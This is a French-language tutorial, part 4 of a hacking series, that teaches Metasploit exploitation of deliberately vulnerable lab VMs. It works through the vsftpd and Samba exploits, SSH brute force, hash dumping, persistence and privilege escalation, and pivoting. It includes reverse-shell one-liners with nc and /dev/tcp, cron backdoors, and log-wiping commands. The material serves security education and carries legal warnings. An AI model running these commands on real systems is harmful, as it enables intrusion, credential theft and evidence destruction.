Le Chemin du Hacker : Une Série en 5 Parties
Partie 1 : Introduction → Partie 2 : Maîtrise du Flipper → Partie 3 : Fondamentaux de Kali → Partie 4 : Exploitation → Partie 5 : L'Audit Complet
Dans les Parties 1-3, tu as construit ta boîte à outils. Tu sais cloner des badges, cartographier des réseaux, capturer des handshakes et identifier chaque service qui tourne sur une cible. Tu vois des vulnérabilités partout maintenant. Mais voir une vulnérabilité et l'exploiter sont des compétences très différentes.
C'est ici que ça devient sérieux. Aujourd'hui tu vas apprendre à utiliser le Metasploit Framework, le même outil utilisé par les pentesters professionnels dans le monde entier. Tu vas exploiter ta première vulnérabilité, établir la persistance, escalader les privilèges et apprendre à pivoter à travers un réseau.
La Ligne Que Tu Ne Dois Pas Franchir
Tout ce qui est dans cet article doit être pratiqué sur des systèmes que tu possèdes ou pour lesquels tu as une autorisation écrite explicite. L'accès non autorisé à des systèmes informatiques est un crime fédéral passible de peines allant jusqu'à 20 ans d'emprisonnement. "J'étais juste en train d'apprendre" n'est pas une défense. Construis un lab, utilise des VMs intentionnellement vulnérables, et ne touche jamais à des systèmes qui ne t'appartiennent pas.
Partie 1 : Construire Ton Lab d'Attaque
Avant d'exploiter quoi que ce soit, tu as besoin de cibles. Les vrais pentesters utilisent des environnements de lab isolés avec des machines intentionnellement vulnérables. Tu feras pareil.
La Configuration Essentielle du Lab
Ce Dont Tu Auras Besoin
- Kali Linux VM - Ta machine d'attaque (de la Partie 3)
- Metasploitable 2 - VM Linux intentionnellement vulnérable (SourceForge)
- Metasploitable 3 - VM Windows/Linux vulnérable (GitHub)
- DVWA - Damn Vulnerable Web Application (GitHub)
- VulnHub VMs - Machines vulnérables style CTF (vulnhub.com)
Projet : Configuration Réseau du Lab
Temps : 45 minutes
- Télécharge Metasploitable 2 depuis SourceForge
- Importe dans VirtualBox/VMware
- Configure le réseau : Mets Kali et Metasploitable en "Host-Only" ou "Internal Network"
- Démarre Metasploitable (login par défaut :
msfadmin/msfadmin) - Note l'adresse IP :
ifconfig - Depuis Kali, vérifie la connectivité :
ping METASPLOITABLE_IP - Lance un scan initial :
sudo nmap -sV -sC METASPLOITABLE_IP
Vérification : Tu devrais voir des dizaines de ports ouverts. Metasploitable est conçu pour être compromis.
Ton scan nmap de Metasploitable devrait révéler des services comme FTP, SSH, Telnet, SMTP, HTTP, Samba, MySQL, PostgreSQL et plus encore, beaucoup tournant des versions obsolètes et vulnérables. C'est ton terrain de jeu.
Partie 2 : Fondamentaux du Metasploit Framework
Metasploit n'est pas qu'un outil. C'est un écosystème. Il contient des milliers d'exploits, de payloads, de modules auxiliaires et d'outils de post-exploitation. Comprendre sa structure est essentiel.
Démarrer Metasploit
bash# Initialize the database (first time only)
sudo msfdb init
# Start Metasploit console
msfconsole
# You'll see the Metasploit banner and prompt:
msf6 >La Structure de Metasploit
Metasploit organise tout en modules :
- Exploits - Code qui tire avantage des vulnérabilités
- Payloads - Code qui s'exécute après l'exploitation (shells, meterpreter)
- Auxiliary - Scanners, fuzzers et autres utilitaires
- Post - Modules de post-exploitation pour la persistance, le pivotement
- Encoders - Obscurcissent les payloads pour échapper à la détection
bash# Search for modules
msf6 > search type:exploit platform:linux smb
# Search by CVE
msf6 > search cve:2017-0144
# Search by name
msf6 > search vsftpd
# Get info about a module
msf6 > info exploit/unix/ftp/vsftpd_234_backdoorLe Workflow d'Exploitation
Chaque exploitation dans Metasploit suit le même schéma :
- Sélectionne un exploit -
use exploit/path/to/module - Configure les options - IP cible, ports, identifiants
- Sélectionne un payload - Ce qui s'exécute après l'exploitation
- Exécute -
exploitourun
Partie 3 : Ton Premier Exploit
Exploitons l'une des portes dérobées les plus célèbres de l'histoire : la backdoor vsftpd 2.3.4. En 2011, quelqu'un a inséré une porte dérobée dans le code source de vsftpd. Si tu envoies un nom d'utilisateur se terminant par :), un shell s'ouvre sur le port 6200.
Metasploitable 2 exécute exactement cette version.
bash# Start Metasploit
msfconsole
# Search for the exploit
msf6 > search vsftpd
# Select the exploit
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
# View required options
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
# Set the target
msf6 exploit(...) > set RHOSTS 192.168.56.101
# Run the exploit
msf6 exploit(...) > exploit
# If successful:
[*] Command shell session 1 opened
[+] Got shell!
# You now have a root shell on the target
whoami
root
id
uid=0(root) gid=0(root)C'est tout. Un service vulnérable, un exploit, accès root. Voilà pourquoi maintenir les logiciels à jour est important.
Projet : Exploiter la Backdoor vsftpd
Temps : 15 minutes
Prérequis : Metasploitable 2 en marche, Kali sur le même réseau
- Vérifie que FTP tourne :
nmap -sV -p 21 TARGET_IP - Lance msfconsole
- Cherche, sélectionne et configure l'exploit vsftpd
- Exécute l'exploit
- Une fois que tu as un shell, explore :
cat /etc/shadow
Critère de réussite : Tu peux lire /etc/shadow, auquel seul root peut accéder.
Partie 4 : Comprendre les Payloads
Un payload est ce qui s'exécute après que l'exploit a réussi. Le shell basique qu'on a obtenu ci-dessus est simple, mais Metasploit offre des options bien plus puissantes.
Types de Payloads
- Singles - Payloads autonomes à usage unique (ajouter un utilisateur, exécuter une commande)
- Stagers - Petits payloads qui établissent une connexion, puis téléchargent le payload principal
- Stages - Le payload principal téléchargé par le stager (Meterpreter)
bash# List compatible payloads for current exploit
msf6 exploit(...) > show payloads
# Set a specific payload
msf6 exploit(...) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
# Payload naming convention:
# platform/arch/payload_type/connection_type
# linux/x86/meterpreter/reverse_tcp
# windows/x64/shell/bind_tcpReverse vs Bind Shells
- Reverse shell - La cible se connecte à toi. Meilleur pour contourner les firewalls (le trafic sortant est généralement autorisé).
- Bind shell - La cible ouvre un port pour que tu te connectes. Plus facile à détecter, souvent bloqué par les firewalls.
bash# For reverse shells, you must set your IP
msf6 exploit(...) > set LHOST YOUR_KALI_IP
msf6 exploit(...) > set LPORT 4444
# Metasploit starts a listener automatically when you exploitMeterpreter : Le Payload Ultime
Meterpreter est le payload le plus puissant de Metasploit. Il s'exécute entièrement en mémoire (aucun fichier sur le disque), fournit une communication chiffrée et inclut des dizaines de commandes intégrées pour la post-exploitation.
bash# Meterpreter commands (once you have a session)
meterpreter > sysinfo # System information
meterpreter > getuid # Current user
meterpreter > pwd # Current directory
meterpreter > ls # List files
meterpreter > download file # Download file to Kali
meterpreter > upload file # Upload file to target
meterpreter > shell # Drop to system shell
meterpreter > hashdump # Dump password hashes
meterpreter > screenshot # Take screenshot
meterpreter > keyscan_start # Start keylogger
meterpreter > keyscan_dump # Dump keystrokes
meterpreter > background # Background this sessionPartie 5 : Plus de Techniques d'Exploitation
Exploiter Samba (SMB)
Metasploitable 2 exécute une version vulnérable de Samba. C'est similaire au célèbre exploit EternalBlue utilisé dans WannaCry.
bash# Search for Samba exploits
msf6 > search type:exploit samba
# The "username map script" vulnerability
msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(...) > set RHOSTS TARGET_IP
msf6 exploit(...) > set PAYLOAD cmd/unix/reverse
msf6 exploit(...) > set LHOST YOUR_IP
msf6 exploit(...) > exploit
[*] Command shell session 2 openedExploiter des Identifiants Faibles
Tous les compromis ne nécessitent pas une vulnérabilité logicielle. Les mots de passe faibles sont partout.
bash# SSH brute-force auxiliary module
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set RHOSTS TARGET_IP
msf6 auxiliary(...) > set USERNAME root
msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(...) > set STOP_ON_SUCCESS true
msf6 auxiliary(...) > run
# For known credentials
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set USERNAME msfadmin
msf6 auxiliary(...) > set PASSWORD msfadmin
msf6 auxiliary(...) > run
[+] 192.168.56.101:22 - Success: 'msfadmin:msfadmin'Exploitation d'Applications Web
Metasploitable inclut plusieurs applications web vulnérables. Exploitons une injection de code PHP.
bash# First, browse to http://TARGET/mutillidae/
# Find the "User Lookup" page (vulnerable to SQLi and code injection)
# Use Metasploit's web exploits
msf6 > search type:exploit php
# Or exploit manually with command injection:
# In vulnerable input field:
; cat /etc/passwd
; nc -e /bin/bash YOUR_IP 4444Projet : Exploiter Trois Services Différents
Temps : 60 minutes
Cible : Metasploitable 2
- Exploiter la backdoor vsftpd (FTP - port 21) et obtenir un shell root
- Exploiter Samba usermap_script (SMB - port 139/445) et obtenir un shell root
- Cracker les identifiants SSH (port 22) en utilisant auxiliary/scanner/ssh/ssh_login
- Documenter chaque exploitation : module utilisé, options configurées, résultat
Bonus : Explore les applications web sur le port 80 et trouve des vecteurs d'exploitation manuels.
Partie 6 : Post-Exploitation
Obtenir un shell n'est que le début. Les vrais tests de pénétration nécessitent de démontrer ce qu'un attaquant pourrait faire avec cet accès. C'est la post-exploitation.
Collecte d'Informations
text# From a Meterpreter session
meterpreter > sysinfo
Computer : metasploitable
OS : Linux 2.6.24
Architecture: i686
Meterpreter : x86/linux
# Network information
meterpreter > ipconfig
meterpreter > route
meterpreter > arpbash# From a regular shell
cat /etc/passwd # All users
cat /etc/shadow # Password hashes (requires root)
cat /etc/hosts # Network mappings
netstat -tulpn # Open ports
ps aux # Running processes
crontab -l # Scheduled tasksRécolte d'Identifiants
text# Dump password hashes
meterpreter > hashdump
root:$1$XtqVHIvN$0MnR7..........:0:0:root:/root:/bin/bash
msfadmin:$1$XN10Zj2c$Rt/zzC........:1000:1000::/home/msfadmin:/bin/bashbash# Or from shell
cat /etc/shadow
# Crack hashes offline with John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
# Or hashcat (faster with GPU)
hashcat -m 500 hashes.txt /usr/share/wordlists/rockyou.txtÉtablir la Persistance
La persistance signifie maintenir l'accès même après des redémarrages ou quand ton vecteur d'exploit initial est corrigé.
bash# Add a new user with sudo access
useradd -m -s /bin/bash hacker
echo "hacker:password123" | chpasswd
usermod -aG sudo hacker
# Add SSH key for passwordless access
mkdir /home/hacker/.ssh
echo "YOUR_PUBLIC_KEY" >> /home/hacker/.ssh/authorized_keys
# Cron-based reverse shell (reconnects every minute)
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'" >> /var/spool/cron/crontabs/root
# Metasploit persistence module
meterpreter > run persistence -h
meterpreter > run persistence -X -i 60 -p 4444 -r YOUR_IPPersistance = Preuves
Chaque mécanisme de persistance laisse des traces. Dans un vrai test de pénétration, tu documentes ce que tu pourrais faire, puis tu nettoies. Laisser des portes dérobées sur les systèmes des clients est non professionnel et potentiellement illégal. Dans ton lab, fais-toi plaisir, mais comprends les implications.
Partie 7 : Escalade de Privilèges
Souvent tu obtiens l'accès initial en tant qu'utilisateur avec peu de privilèges. Escalader vers root/admin est généralement nécessaire pour atteindre les objectifs du test.
Escalade de Privilèges Linux
bash# Current user context
id
whoami
# SUID binaries (run as owner regardless of who executes)
find / -perm -4000 -type f 2>/dev/null
# World-writable directories
find / -writable -type d 2>/dev/null
# Sudo permissions
sudo -l
# Kernel version (for kernel exploits)
uname -a
# Running processes as root
ps aux | grep root
# Cron jobs
cat /etc/crontab
ls -la /etc/cron.*Scripts d'Énumération Automatisée
- LinPEAS - github.com/carlospolop/PEASS-ng
- LinEnum - github.com/rebootuser/LinEnum
- linux-exploit-suggester - GitHub
bash# Upload and run LinPEAS
# From Kali, host the script:
python3 -m http.server 8000
# From target:
wget http://YOUR_IP:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
# LinPEAS highlights potential vectors in colors:
# RED/YELLOW = Critical findings, likely exploitableVecteurs Courants de Privesc Linux
bash# 1. Sudo misconfiguration
sudo -l
# If you see: (ALL) NOPASSWD: /usr/bin/vim
sudo vim -c '!sh'
# Instant root shell
# 2. SUID binary exploitation
# If /usr/bin/find has SUID bit:
find . -exec /bin/sh -p \;
# 3. Writable /etc/passwd
# Generate password hash:
openssl passwd -1 mypassword
# Add to /etc/passwd:
echo 'hacker:$1$xyz$...:0:0:root:/root:/bin/bash' >> /etc/passwd
# 4. Cron job exploitation
# If a cron runs a writable script as root:
echo 'chmod +s /bin/bash' >> /path/to/cron/script
# Wait for cron, then:
/bin/bash -p
# Root shellEscalade de Privilèges Windows
Si tu testes des cibles Windows (Metasploitable 3), les techniques diffèrent :
text# From Meterpreter on Windows
meterpreter > getuid
Server username: VICTIM\lowpriv_user
meterpreter > getsystem
[+] ...got SYSTEM
# If getsystem fails, try:
meterpreter > run post/multi/recon/local_exploit_suggester
# Or background and use specific exploit:
meterpreter > background
msf6 > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
msf6 exploit(...) > set SESSION 1
msf6 exploit(...) > exploitProjet : Escalader d'Utilisateur à Root
Temps : 45 minutes
Scénario : Tu as un accès SSH à Metasploitable en tant que msfadmin (non root)
- SSH vers Metasploitable :
ssh msfadmin@TARGET - Exécute
idpour confirmer que tu n'es pas root - Vérifie les permissions sudo :
sudo -l - Cherche les binaires SUID :
find / -perm -4000 2>/dev/null - Uploade et exécute LinPEAS
- Identifie un vecteur de privesc et exploite-le
Objectif : Obtenir un shell root en utilisant autre chose que l'exploitation d'un service réseau.
Partie 8 : Pivotement
Le pivotement consiste à utiliser un système compromis pour attaquer d'autres systèmes qui ne sont pas directement accessibles depuis ta machine d'attaque. C'est ainsi que les attaquants se déplacent latéralement à travers les réseaux.
Le Scénario de Pivot
Imagine ce réseau :
- Ton Kali : 192.168.1.100
- Hôte compromis : 192.168.1.50 (aussi connecté au réseau interne 10.0.0.0/24)
- Cible : 10.0.0.10 (accessible uniquement depuis 192.168.1.50)
Tu ne peux pas atteindre 10.0.0.10 directement. Mais via l'hôte compromis, tu peux.
Routage Metasploit
text# After getting a Meterpreter session on the pivot host
meterpreter > ipconfig
# Shows two interfaces: 192.168.1.50 and 10.0.0.50
meterpreter > run autoroute -s 10.0.0.0/24
[+] Added route to 10.0.0.0/24 via session 1
meterpreter > background
# Now Metasploit routes 10.0.0.0/24 traffic through session 1
msf6 > route print
# Scan the internal network
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(...) > set RHOSTS 10.0.0.1-254
msf6 auxiliary(...) > set PORTS 22,80,443,445
msf6 auxiliary(...) > run
# Exploit internal targets through the pivot
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(...) > set RHOSTS 10.0.0.10
msf6 exploit(...) > exploitProxy SOCKS pour un Accès Complet
bash# Set up a SOCKS proxy through Meterpreter
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(...) > set SRVPORT 1080
msf6 auxiliary(...) > run
# Configure proxychains (/etc/proxychains4.conf)
socks5 127.0.0.1 1080
# Now any tool can access the internal network
proxychains nmap -sT -Pn 10.0.0.10
proxychains curl http://10.0.0.10
proxychains ssh [email protected]Tunnels SSH (Sans Metasploit)
bash# Dynamic port forwarding (SOCKS proxy)
ssh -D 1080 user@pivot_host
# Local port forwarding (specific port)
ssh -L 8080:10.0.0.10:80 user@pivot_host
# Now localhost:8080 reaches 10.0.0.10:80
# Remote port forwarding (expose your service to internal network)
ssh -R 4444:localhost:4444 user@pivot_host
# Internal hosts can reach your port 4444 via pivot_host:4444Partie 9 : Couvrir ses Traces
Les pentesters professionnels documentent leur accès mais nettoient derrière eux. Comprendre comment les attaquants couvrent leurs traces t'aide aussi à détecter les intrusions.
bash# Clear bash history
history -c
cat /dev/null > ~/.bash_history
# Clear auth logs (requires root)
echo "" > /var/log/auth.log
echo "" > /var/log/wtmp
echo "" > /var/log/btmp
# Remove specific log entries
sed -i '/YOUR_IP/d' /var/log/auth.log
# Timestomp (change file timestamps)
touch -r /etc/passwd /path/to/your/file
# Meterpreter
meterpreter > clearev # Clear Windows event logs
meterpreter > timestomp file -m "01/01/2020 12:00:00"En Mission Réelle : Ne Fais Pas Ça
Les pentesters professionnels documentent leur accès et rapportent leurs découvertes. Ils ne les cachent pas. Effacer les logs détruit des preuves dont les défenseurs ont besoin pour comprendre le chemin d'attaque. Ne pratique ces techniques que dans ton environnement de lab isolé.
Le Chemin du Hacker
Une série en 5 parties qui te mène de curieux à compétent.
Partie 1 : Introduction Partie 2 : Maîtrise du Flipper Partie 3 : Fondamentaux de Kali Partie 4 : Exploitation ✓ Partie 5 : Audit Complet
Checklist de la Partie 4
☐ Configuration du Lab : Metasploitable 2 en marche, réseau isolé configuré
☐ Metasploit : Base de données initialisée, navigation de base maîtrisée
☐ Premier Exploit : Backdoor vsftpd exploitée, shell root obtenu
☐ Vecteurs Multiples : FTP, SMB exploités et identifiants SSH crackés
☐ Post-Exploitation : Hash de mots de passe extraits, système énuméré
☐ Escalade de Privilèges : Escaladé d'utilisateur à root sans exploit réseau
☐ Pivotement : Comprendre les concepts d'autoroute et proxy SOCKS
☐ Documentation : Tous les exploits documentés avec étapes et preuves
La Suite
Tu as appris à exploiter des vulnérabilités, escalader des privilèges et pivoter à travers des réseaux. Tu as vu à quelle vitesse une seule faiblesse devient un compromis total. Tu comprends ce que font les pentesters professionnels.
Dans la Partie 5, on rassemble tout. Tu vas mener un audit de sécurité complet du début à la fin :
- Cadrage et règles d'engagement
- Méthodologie complète de reconnaissance
- Exploitation systématique
- Post-exploitation exhaustive
- Rapport professionnel
- Recommandations de remédiation
La Partie 5 est le projet final. Tout ce que tu as appris à travers cette série se rassemble en une méthodologie concrète que tu peux utiliser pour évaluer la sécurité de n'importe quel réseau que tu es autorisé à tester.
Tu as appris les techniques. Maintenant tu apprends la méthodologie. La Partie 5 transforme les compétences en un workflow complet de test de pénétration.
On se retrouve dans la Partie 5.